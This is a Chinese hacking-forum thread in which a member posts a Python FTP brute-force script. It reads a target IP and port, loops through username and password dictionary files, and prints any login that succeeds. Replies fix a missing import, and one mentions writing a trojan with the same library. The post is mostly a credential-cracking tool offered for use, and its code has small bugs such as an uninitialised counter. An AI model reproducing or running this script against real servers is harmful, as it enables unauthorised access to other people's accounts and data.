查看: 673|回复: 4

[Python] ftp爆破

[复制链接]

2

技术

6

魅力

2

原创

病毒研究组

Rank: 8Rank: 8

积分
1721
人气
179
分享
17

最佳新人活跃会员

发表于 2022-7-20 17:51:48 | 显示全部楼层 |阅读模式
本帖最后由 hackerbob 于 2022-7-21 09:08 编辑

[Python] 纯文本查看 复制代码
ftp = ftplib.FTP()
dip = input("请输入ip:")
dport = input("请输入端口:")

try:                              
    ftp.connect(dip,int(dport))
    print("对方开启了ftp")
except:
    print("对方未开启ftp")
    input("请按任意键继续......")
    sys.exit()
uzd = input("请输入用户名字典位置:")
pzd = input("请输入密码字典位置:")
ufile = open(uzd,"r",encoding="utf8").read().split("\n")
pfile = open(pzd,"r",encoding="utf8").read().split("\n")
for user in ufile:                         
    for pas in pfile:
        if user == "":
            pass
        elif pas == "":
            pass
        else:
            try:
                print(user + pas)           
                ftp.connect(dip,dport)
                ftp.login(user,pas)
                print(f"用户名为:{user}  密码为:{pas}")
                a = a + 1
            except:
                pass
if a == 0:
    input("爆破失败......")
else:
    input("爆破成功......")



4

技术

17

魅力

6

原创

版主

禁止发言

Rank: 7Rank: 7Rank: 7

积分
5367
人气
208
分享
36

最佳新人活跃会员

发表于 2022-7-20 20:33:25 | 显示全部楼层
这个…我没用过ftp库
YF工作室驻x64论坛分部
工作室曾开发的软件:YFSafe安全软件,YFChat在线聊天软件,MBRTools等。
欢迎有能力的你加入我们一起共同进步。请发邮件至yfstudio2021@outlook.com

2

技术

6

魅力

2

原创

病毒研究组

Rank: 8Rank: 8

积分
1721
人气
179
分享
17

最佳新人活跃会员

 楼主| 发表于 2022-7-21 09:06:10 | 显示全部楼层
zhangzhixiao 发表于 2022-7-21 08:49
为什么是
input("爆破失败......")
不应该是

如果是print,程序爆破完就会直接关闭,看不到结果,用input,程序不会立刻退出,得按一下回车才会关闭

0

技术

1

魅力

0

原创

略知一二

Rank: 3Rank: 3

积分
902
人气
25
分享
0
发表于 2022-8-2 12:02:27 | 显示全部楼层
本帖最后由 xiaomeng242 于 2022-8-16 08:27 编辑
hackerbob 发表于 2022-7-21 09:06
如果是print,程序爆破完就会直接关闭,看不到结果,用input,程序不会立刻退出,得按一下回车才会关闭 ...

你这个应该是用ftplib库,我以前用这个库写过木马

0

技术

1

魅力

0

原创

略知一二

Rank: 3Rank: 3

积分
371
人气
10
分享
4
发表于 2024-1-19 19:51:46 | 显示全部楼层
第一行前面应该添加
[Python] 纯文本查看 复制代码
import ftplib
才不会报错
我并不出名
开源地址:https://github.com/windowsjiang/
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表